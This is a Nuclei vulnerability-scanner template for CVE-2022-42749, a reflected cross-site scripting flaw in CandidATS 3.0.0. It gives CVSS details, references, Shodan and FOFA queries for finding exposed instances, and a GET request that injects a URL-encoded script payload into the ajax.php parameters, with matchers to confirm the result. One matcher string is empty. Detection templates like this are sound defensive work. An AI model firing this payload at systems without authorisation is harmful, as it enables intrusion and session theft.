id: CVE-2022-42749 info: name: CandidATS 3.0.0 - Cross-Site Scripting author: arafatansari severity: medium description: | CandidATS 3.0.0 contains a cross-site scripting vulnerability via the page parameter of the ajax.php resource. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. impact: | Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement. remediation: | To mitigate this vulnerability, it is recommended to apply the latest security patch or upgrade to a non-vulnerable version of CandidATS. reference: - https://fluidattacks.com/advisories/modestep/ - https://fluidattacks.com/advisories/jcole/ - https://candidats.net/ - https://nvd.nist.gov/vuln/detail/CVE-2022-42749 - https://github.com/ARPSyndicate/cvemon classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2022-42749 cwe-id: CWE-79 epss-score: 0.00111 epss-percentile: 0.44292 cpe: cpe:2.3:a:auieo:candidats:3.0.0:-:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: auieo product: candidats shodan-query: - http.html:"CandidATS" - http.html:"candidats" fofa-query: body="candidats" tags: cve,cve2022,candidats,xss,auieo http: - method: GET path: - '{{BaseURL}}/ajax.php?f=getPipelineJobOrder&joborderID=50&page=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&entriesPerPage=15&sortBy=dateCreatedInt&sortDirection=desc&indexFile=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&isPopup=0' matchers-condition: and matchers: - type: word part: body words: - '' - 'candidat' condition: and - type: word part: header words: - text/html condition: and - type: status status: - 404 # digest: 4a0a004730450220531c0aa7c99e8b788d4e306d09cefbbe38664468e7307be31dbffc11d1242f850221009578f9e5d962f0472ae830419e30be1853e6de85f97ecc54fea55b75452fc8f1:922c64590222798bb761d5b6d8e72950